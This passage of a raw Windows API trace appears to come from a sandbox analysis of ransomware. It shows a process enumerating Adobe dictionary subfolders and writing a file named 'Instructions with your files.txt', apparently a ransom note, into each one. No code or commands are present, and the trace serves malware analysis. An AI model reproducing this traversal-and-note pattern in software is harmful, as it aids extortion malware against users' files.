[0130.907] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.908] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\Instructions with your files.txt") returned 142
[0130.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\itl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.908] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.909] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.909] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.909] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.909] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.909] CloseHandle (hObject=0x124) returned 1
[0130.910] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.910] GetProcessHeap () returned 0x810000
[0130.910] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.910] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw", cAlternateFileName="")) returned 1
[0130.910] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw") returned 109
[0130.910] GetProcessHeap () returned 0x810000
[0130.910] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.910] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*") returned 111
[0130.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.910] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\.") returned 111
[0130.910] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.910] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\..") returned 112
[0130.910] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.910] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\Instructions with your files.txt") returned 142
[0130.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\nrw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.911] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.912] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.912] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.912] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.912] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.912] CloseHandle (hObject=0x124) returned 1
[0130.912] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.912] GetProcessHeap () returned 0x810000
[0130.912] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.912] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt", cAlternateFileName="")) returned 1
[0130.912] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt") returned 109
[0130.912] GetProcessHeap () returned 0x810000
[0130.912] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.912] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*") returned 111
[0130.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.913] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\.") returned 111
[0130.913] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.913] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\..") returned 112
[0130.913] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.913] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\Instructions with your files.txt") returned 142
[0130.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\prt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.913] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.914] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.914] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.914] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.914] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.914] CloseHandle (hObject=0x124) returned 1
[0130.914] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.914] GetProcessHeap () returned 0x810000
[0130.914] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.914] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn", cAlternateFileName="")) returned 1
[0130.914] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn") returned 109
[0130.914] GetProcessHeap () returned 0x810000
[0130.914] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.915] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*") returned 111
[0130.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.915] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\.") returned 111
[0130.915] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.915] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\..") returned 112
[0130.915] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.915] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\Instructions with your files.txt") returned 142
[0130.915] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\spn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.915] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.916] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.916] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.916] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.916] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.916] CloseHandle (hObject=0x124) returned 1
[0130.917] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.917] GetProcessHeap () returned 0x810000
[0130.917] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.917] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd", cAlternateFileName="")) returned 1
[0130.917] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd") returned 109
[0130.917] GetProcessHeap () returned 0x810000
[0130.917] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.917] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*") returned 111
[0130.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.917] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\.") returned 111
[0130.917] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.917] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\..") returned 112
[0130.917] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.917] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\Instructions with your files.txt") returned 142
[0130.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\swd\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.917] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.918] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.918] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.918] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
